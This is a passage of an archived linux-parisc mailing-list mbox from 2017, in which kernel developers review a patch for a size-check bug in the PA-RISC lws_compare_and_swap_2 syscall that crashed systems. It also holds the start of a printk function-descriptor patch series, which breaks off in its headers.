 7VsgPfKPTcRvQ6UPXSMrdw+71nGFeu6GxToOzVA1w3YhgrV99CAyRGuv0v3wP4ewA+awlvIOa
 4oB5/EYxiJ5ASe3rsGVnPmlKbuEEgDyB+KpTrLIua+8ouIkKZjjdYbYHDL76Dap4R3SpDkyvK
 +7eIzzVHgoJypNlfgkY2wIC///qTmtg9k1Q1Aiby9PGBpjrjRDjpx29J/gCjrM85/AukcYqpK
 W5o9FESkiWvk5ioZwZ8SsTb9p7lHpoRy8B21dsHJJEj1VbHjCamDTEdogrR40nVLDRjo5fVJi
 qXekvuE9/uXUS2DQEy/is39Y4MPaHtsCjFYwkAwqVr/CN8/SUIzQKMC6n+i0QzX/cPBEcpGJZ
 v1MyTF3BRGa6XLYagpBpnlfZA2WmIZg6H3OpYQfUOxOG1hcQWSiAdk54OQ3DF8Zv0ZSoreXrX
 mRG8KoYXGoRjHg1g7Qy9iaFHlyuYDo9dU79CDnsRSodahXOmIO2zorRYwWLXcNxqLOD1u5Sx 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27950>

* Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>:
> John David Anglin wrote...
> 
> > On 2017-10-24, at 4:03 PM, Christoph Biedl wrote:
> > 
> > > To start with, using the invalid value 4 as size parameter does not
> > > return ENOSYS as I'd expect but crashes my system[2], using both 32 and
> > > 64 bit kernel, no root privileges required.
> > 
> >         /* Check the validity of the size pointer */
> >         subi,>>= 4, %r23, %r0
> >         b,n     lws_exit_nosys
> > 
> > The condition in the subi instruction should be ">>".  The branch is incorrectly nullified when
> > %r23 is 4.

I'd prefer this (untested) patch:

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 41e60a9c7db2..f8a8754322ae 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -698,8 +698,7 @@ lws_compare_and_swap_2:
 #endif
 
 	/* Check the validity of the size pointer */
-	subi,>>= 4, %r23, %r0
-	b,n	lws_exit_nosys
+	cmpib,COND(<<),n 3, %r23, lws_exit_nosys
 
 	/* Jump to the functions which will load the old and new values into
 	   registers depending on the their size */


> Ups, way too obvious. This does the trick, or: Tested-By:
> Should I try to get a CVE number for this, or is parisc considered
> *that* historical nobody actually cares?

I think a CVE is not needed for parisc. There are no real productive
users (I assume).


> Now, using the given cmpxchg2 function, the following code tests this
> LWS for 32bit: The first test is for *mem == *old, the second for
> *mem != *old. Is there anything wrong with this?
> 
>     uint32_t mem;
>     uint32_t old;
>     uint32_t new;
> 
>     mem = 1;
>     old = 1;
>     new = 3;
>     cmpxchg2 (&mem, &old, &new, 2);
>     if (mem == old) {
>         printf ("PASS: mem unchanged\n");
>     } else {
>         printf ("FAIL: got = 0x%x, expected = 0x%x\n", mem, old);
>     }
> 
>     mem = 1;
>     old = 3;
>     new = 3;
>     cmpxchg2 (&mem, &old, &new, 2);
>     if (mem == new) {
>         printf ("PASS: mem changed\n");
>     } else {
>         printf ("FAIL: got = 0x%x, expected = 0x%x\n", mem, new);
>     }
> 
> My problem here: Both tests fail, and so do more complex ones that test
> the other data sizes as well.
> 
> After staring at lws_compare_and_swap_2 a long time it seems there are
> two issues: First, there is more usage of ",ma" so an update of mem/r26
> hits the wrong place. After that, all results are the wrong way around.
> I'm frightened to tell but I fear the logic in lws_compare_and_swap_2
> is inverted in each and every place. I'm happy to be convinced
> otherwise. But for the time being it seems the patch below is an
> improvement.
> 
> Status: My system boots and all my tests pass. However, I find smartd
> stalling in 100% CPU, might be coincidence. Now I'm putting some more
> load onto the box to see whether it's less crashy then it used to be the
> previous weeks.

Did you continued your tests?
How were the results.

> Aside, there is another ",ma" modifier in lws_compare_and_swap that I
> fail to understand. Haven't checked yet in detail yet, though.

I'd suggest to keep the other ",ma" modifiers for now.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Mon, 6 Nov 2017 17:45:59 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <0746fb62-659b-da79-07a0-5ff469543c09@bell.net>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
 <1508973952@msgid.manchmal.in-ulm.de>
 <20171106212734.GA29237@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1510008364 15429 195.159.176.226 (6 Nov 2017 22:46:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Nov 2017 22:46:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
        Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>,
        Richard Henderson <rth@twiddle.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 06 23:45:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eBq9U-0003Xx-VK
	for glpp-linux-parisc@m.gmane.org; Mon, 06 Nov 2017 23:45:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751895AbdKFWqD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 6 Nov 2017 17:46:03 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:47974 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751682AbdKFWqB (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 6 Nov 2017 17:46:01 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20171106224559.KJCN15064.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 6 Nov 2017 17:45:59 -0500
Original-Received: from [192.168.0.138] (really [69.156.4.150]) by torspm01.bell.net
          with ESMTP
          id <20171106224559.IKDO16822.torspm01.bell.net@[192.168.0.138]>;
          Mon, 6 Nov 2017 17:45:59 -0500
In-Reply-To: <20171106212734.GA29237@ls3530.fritz.box>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=du00Mxo4 c=1 sm=0 tr=0 a=qcJ01mvJRsBFxS57W/i0lQ==:17 a=IkcTkHD0fZMA:10 a=sC3jslCIGhcA:10 a=FBHGMhGWAAAA:8 a=XpFhWQNBEK7pcna4SzIA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27951>

On 2017-11-06 4:27 PM, Helge Deller wrote:
>   	/* Check the validity of the size pointer */
> -	subi,>>= 4, %r23, %r0
> -	b,n	lws_exit_nosys
> +	cmpib,COND(<<),n 3, %r23, lws_exit_nosys
I don't believe that we want to use COND here (i.e., we want a 32-bit 
check).  We might not
need to trim the upper 32-bits r23.

The reason the code uses nullification is the fast path occurs when the 
"b,n" is nullified.   So we
avoid the branch prediction penalty.  I'd have to check whether the fast 
path with the cmpib instruction
is the taken branch or not.

Have no object to changing "4" to "3" instead of changing the condition.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Tue, 7 Nov 2017 16:31:29 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <c7568c02-daba-fdcb-3885-dea2d0746e15@bell.net>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
 <1508973952@msgid.manchmal.in-ulm.de>
 <20171106212734.GA29237@ls3530.fritz.box>
 <0746fb62-659b-da79-07a0-5ff469543c09@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1510090292 16388 195.159.176.226 (7 Nov 2017 21:31:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Nov 2017 21:31:32 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
        Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>,
        Richard Henderson <rth@twiddle.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 07 22:31:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eCBSv-0006Tt-78
	for glpp-linux-parisc@m.gmane.org; Tue, 07 Nov 2017 22:31:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755621AbdKGVbc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 7 Nov 2017 16:31:32 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:37690 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751565AbdKGVbb (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 7 Nov 2017 16:31:31 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171107213130.FALN12467.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 7 Nov 2017 16:31:30 -0500
Original-Received: from [192.168.0.138] (really [69.156.4.150]) by mtlspm02.bell.net
          with ESMTP
          id <20171107213130.OOJH14591.mtlspm02.bell.net@[192.168.0.138]>;
          Tue, 7 Nov 2017 16:31:30 -0500
In-Reply-To: <0746fb62-659b-da79-07a0-5ff469543c09@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=A9mDB+eG c=1 sm=0 tr=0 a=qcJ01mvJRsBFxS57W/i0lQ==:17 a=IkcTkHD0fZMA:10 a=sC3jslCIGhcA:10 a=FBHGMhGWAAAA:8 a=PwLGKZJ_2Cdc9uS3daYA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27952>

On 2017-11-06 5:45 PM, John David Anglin wrote:
> On 2017-11-06 4:27 PM, Helge Deller wrote:
>>       /* Check the validity of the size pointer */
>> -    subi,>>= 4, %r23, %r0
>> -    b,n    lws_exit_nosys
>> +    cmpib,COND(<<),n 3, %r23, lws_exit_nosys
> I don't believe that we want to use COND here (i.e., we want a 32-bit 
> check).  We might not
> need to trim the upper 32-bits r23.
>
> The reason the code uses nullification is the fast path occurs when 
> the "b,n" is nullified.   So we
> avoid the branch prediction penalty.  I'd have to check whether the 
> fast path with the cmpib instruction
> is the taken branch or not.
For cmpib with "<<" condition, the hint for a backward branch is likely 
taken.  The branch to
lws_exit_nosys is backward.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Tue, 7 Nov 2017 22:46:25 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1510090803@msgid.manchmal.in-ulm.de>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
 <1508973952@msgid.manchmal.in-ulm.de>
 <20171106212734.GA29237@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510091193 13898 195.159.176.226 (7 Nov 2017 21:46:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Nov 2017 21:46:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Helge Deller <deller@gmx.de>, Richard Henderson <rth@twiddle.net>,
        John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 07 22:46:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eCBhP-0002Un-Ez
	for glpp-linux-parisc@m.gmane.org; Tue, 07 Nov 2017 22:46:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753038AbdKGVqb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 7 Nov 2017 16:46:31 -0500
Original-Received: from manchmal.in-ulm.de ([217.10.9.201]:39494 "EHLO
        manchmal.in-ulm.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752505AbdKGVqa (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 7 Nov 2017 16:46:30 -0500
Content-Disposition: inline
In-Reply-To: <20171106212734.GA29237@ls3530.fritz.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27953>

Helge Deller wrote...

> * Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>:

> > Status: My system boots and all my tests pass. However, I find smartd
> > stalling in 100% CPU, might be coincidence. Now I'm putting some more
> > load onto the box to see whether it's less crashy then it used to be the
> > previous weeks.
>
> Did you continued your tests?
> How were the results.

Basically I gave up on this. My change made things worse, and while I
still didn't get the point (read: For my understanding there's a
discrepancy between the syscall's description and what actually
happens), it's certainly better to keep things the way they are.

> > Aside, there is another ",ma" modifier in lws_compare_and_swap that I
> > fail to understand. Haven't checked yet in detail yet, though.
>
> I'd suggest to keep the other ",ma" modifiers for now.

Since, as I presume, this has no impact on performance, this boils down
to aid a human reviewing the code in understanding what's happening
here.

    Christoph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Fri, 10 Nov 2017 08:48:24 +0900
Lines: 110
Approved: news@gmane.org
Message-ID: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271426 15827 195.159.176.226 (9 Nov 2017 23:50:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:50:26 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Nov 10 00:50:20 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eCwaQ-0006V4-7X
	for glpi-linux-ia64-2@m.gmane.org; Fri, 10 Nov 2017 00:50:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754942AbdKIXuZ (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:25 -0500
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:45204 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754502AbdKIXuY (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 9 Nov 2017 18:50:24 -0500
Original-Received: by mail-pg0-f67.google.com with SMTP id l19so3441671pgo.2;
        Thu, 09 Nov 2017 15:50:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=CYL1Kr4O/05kXHkXLED9YvotjW+rVrvoYKVPR8EiiUs=;
        b=CPlnh8EfWCriQBaER964g3Wjolscd5iVebS7aQUxXOPvAIWgflnombBcf6hoLkUcdm
         ytKGxsSzvAL3lidIxBGnvk5PkOhhwrMTu1JU6NezJ7FCGZ7ckr94loHyG8EROS2ZMRPz
         k3sT+fXOtkMQ3taXxZhQ/k7N2Chhhp+66x0qVQ3d4rY/J0I58/C97/lp/0C1ln2iIzPX
         FDUKgqqvih+kbsOIBOXbyPcgRCH6ErRRq6nFxuaGEhhEab0D5DtfmKY5ujopPNCsh/25
         zWJNDVb657t5Q5cyzY0xJRJZ1LrRDNJ20/gj9DcoBxhG1ZukA5rviG0D5Tw5D3+U3pX5
         1+Sw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=CYL1Kr4O/05kXHkXLED9YvotjW+rVrvoYKVPR8EiiUs=;
        b=qhkkC6/3m5pzyNaZId3v83FiOEJEWE9IrWtwYL1XA39c6Qh5E+j1WUFgKvXiTUqkFG
         ehNilrHPHl4fI3LQnvyUQkc+iHqKYbGtT8e5bpAkRaEdkNjEmANrBJ9dZk/VrnEgpiZT
         MhmQdkJ6OIiWIlu87hs+pySjjoPUnvFNXkrF+mSHlskasmazm02mqOttZNfldKeNwwp4
         tHYOL4Kit5julOkuVjMBwWeM4RjOplP4q9ohSKLsL3IHlikwEBgyDZYqn7WExGORm9Sy
         MXmkDbc2d7rIIJn9eUaTzUnuaffzRGc/jDaStCslvcN9lgbKOnPm2WghrQMLXrx4/Ued
         QbEQ==
X-Gm-Message-State: AJaThX6ngLXc1YcCZBccgu+N1yNC7ZYlhMuJO9KgV3OtjKvfrVZaC69S
        iYclHck19QAz5rMAzNNMV8w=
X-Google-Smtp-Source: ABhQp+QhXDqjARVBVDmVHDuB+Izdp6OCIqYYN6gwtPJMXmSN1LFqDrCjDytRiFYjjJk7VOXq5yqYsQ==
X-Received: by 10.159.198.70 with SMTP id y6mr2114415plt.334.1510271423694;
        Thu, 09 Nov 2017 15:50:23 -0800 (PST)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id t25sm13160477pfh.67.2017.11.09.15.50.18
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 09 Nov 2017 15:50:23 -0800 (PST)
X-Mailer: git-send-email 2.15.0
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28293 gmane.linux.ports.parisc:27954 gmane.linux.ports.ppc64.devel:150111 gmane.linux.kernel:2613937
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28293>

	Hello,

	A reworked version. There is a new dereference_symbol_descriptor()
function now, where "the magic happens", so I don't touch kallsyms_lookup()
and module_address_lookup() anymore.

	All Ack-s/Tested-by-s were dropped, since the patch set has been
reworked. I'm kindly asking arch-s maintainers and developers to test it
once again. Sorry for any inconveniences and thanks for your help in
advance.

===========================================================================

	On some arches C function pointers are indirect and point to
a function descriptor, which contains the actual pointer to the code.
This mostly doesn't matter, except for cases when people want to print
out function pointers in symbolic format, because the usual '%pS/%ps'
does not work on those arches as expected. That's the reason why we
have '%pF/%pf', but since it's here because of a subtle ABI detail
specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
'%pF/%pf' and '%pS/%ps' (see [1], for example).

	This patch set attempts to move ia64/ppc64/parisc64 C function
pointer ABI details out of printk() to arch code. Function dereference
code now checks if a pointer belongs to a .opd ELF section and dereferences
that pointer only if it does. The kernel and modules have their own .opd
sections that's why I use two different ARCH functions: for kernel and
for module pointer dereference.

	I planned to remove dereference_function_descriptor() entirely,
but then I discovered a bunch other uses cases (kgdbts, init/main.c,
extable, etc.), so I decided to keep dereference_function_descriptor()
around because the main point of this patch set is to deprecate %pF/%pf.
But at the same time, I think I can go further and handle both kernel
and module descriptor dereference in dereference_function_descriptor().
We need a module pointer for module .opd check, so that will come at an
extra cost of module lookup (may be there will some other issues along
the way, haven't checked it).

Right now we've got:

- dereference_function_descriptor(addr)
        a generic (old) function. it simply attempts to dereference
        whatever pointer we give it.

- dereference_kernel_function_descriptor(addr)
        dereferences a kernel pointer if it's within the kernel's .opd
        section.

- dereference_module_function_descriptor(module, addr)
        dereference a module pointer if it's within the module's .opd
        section.

v4:
-- don't switch to ulong in derefence functions, keep using void pointer
-- introduce dereference_symbol_descriptor() function
-- avoid any dereference in kallsyms lookup/module address lookup
-- improved documentation
-- since this is a new version, I dropped all the the Ack-s and Tested-by-s

v3:
-- picked up ACKs and Tested-by
-- tweaked checkpatch warning (Joe)
-- updated Documentation

v2:
-- convert dereference_function_descriptor() to unsigned long
-- fix kernel descriptor range checks (Helge)
-- fix parisc module descriptor range check (Helge)
-- fix ppc64 module range check
-- add checkpatch patch

Sergey Senozhatsky (6):
  sections: split dereference_function_descriptor()
  ia64: Add .opd based function descriptor dereference
  powerpc64: Add .opd based function descriptor dereference
  parisc64: Add .opd based function descriptor dereference
  symbol lookup: introduce dereference_symbol_descriptor()
  checkpatch: add pF/pf deprecation warning

 Documentation/printk-formats.txt          | 49 ++++++++++++-------------------
 arch/ia64/include/asm/sections.h          | 10 ++++++-
 arch/ia64/kernel/module.c                 | 12 ++++++++
 arch/ia64/kernel/vmlinux.lds.S            |  2 ++
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  6 ++++
 arch/parisc/kernel/module.c               | 16 ++++++++++
 arch/parisc/kernel/process.c              |  9 ++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 arch/powerpc/include/asm/module.h         |  3 ++
 arch/powerpc/include/asm/sections.h       | 12 ++++++++
 arch/powerpc/kernel/module_64.c           | 14 +++++++++
 arch/powerpc/kernel/vmlinux.lds.S         |  2 ++
 include/asm-generic/sections.h            |  8 +++--
 include/linux/kallsyms.h                  |  2 ++
 include/linux/module.h                    |  3 ++
 kernel/kallsyms.c                         | 19 ++++++++++++
 kernel/module.c                           |  6 ++++
 lib/vsprintf.c                            |  5 ++--
 scripts/checkpatch.pl                     | 11 +++++--
 20 files changed, 155 insertions(+), 38 deletions(-)

-- 
2.15.0

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv4 1/6] sections: split dereference_function_descriptor()
Date: Fri, 10 Nov 2017 08:48:25 +0900
Lines: 124
Approved: news@gmane.org
Message-ID: <20171109234830.5067-2-sergey.senozhatsky@gmail.com>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1510271435 17032 195.159.176.226 (9 Nov 2017 23:50:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 9 Nov 2017 23:50:35 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 10 00:50:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eCwaZ-0003z5-CF
	for glpp-linux-parisc@m.gmane.org; Fri, 10 Nov 2017 00:50:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755331AbdKIXud (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 9 Nov 2017 18:50:33 -0500
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:45215 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754502AbdKIXua (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 9 Nov 2017 18:50:30 -0500
Original-Received: by mail-pg0-f67.google.com with SMTP id l19so3441842pgo.2;
        Thu, 09 Nov 2017 15:50:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=QZSKSt+O5+vYboMiWOmZWliRM+Ti3viXsQm4YQqwSi4=;
        b=BURgEf3PtayC1XQ6kDDpiYK3xUaiqB+SSkf5cnt5AJBQsh2bLOxVgxM26T3Le/6Tuw
